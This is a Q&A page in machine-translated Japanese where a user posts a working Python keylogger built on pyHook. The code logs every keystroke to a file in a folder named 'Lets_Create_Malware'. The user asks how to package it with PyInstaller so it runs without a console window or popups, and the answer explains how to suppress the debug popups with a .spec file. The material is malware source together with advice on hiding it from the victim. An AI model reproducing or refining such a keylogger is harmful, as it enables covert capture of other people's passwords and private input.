2016-07-05 14 views
0

私はPythonのファイル、そして、私はpyInstallerので.exeファイルに変換するコンソールにが、代わりに

import pyHook, pythoncom, sys, logging 

file_log = 'C:\\Lets_Create_Malware\\log.txt' 

def OnKeyboardEvent (event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10,chr(event.Ascii)) 
    return True 

hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 

を抑制する.pywで保存したポップアップを与える

c:\Python27\Malware>pyinstaller --debug --onefile --noupx keylogger.pyw 

しかしとき私は.exeファイルをダブルクリックして、私は私が試した--noコンソール

enter image description here

取得しますconsoleオプション、すなわち

c:\Python27\Malware>pyinstaller --debug --onefile --noupx --noconsole keylogger.pyw 

しかし、私は.exeファイルをダブルクリックすると、私はタスクマネージャで終了しなければなりません迷惑なポップアップのシリーズを取得します。

修正方法?

enter image description here

答えて

1

.specファイルを作成し、EXEセクションに追加してくださいちょうど

デバッグ= Falseの

pyInstallerのマニュアルには、ファイルhereをスペックについて説明します。次に、pyinstallerをスクリプトファイルの代わりにspecファイルで呼び出します。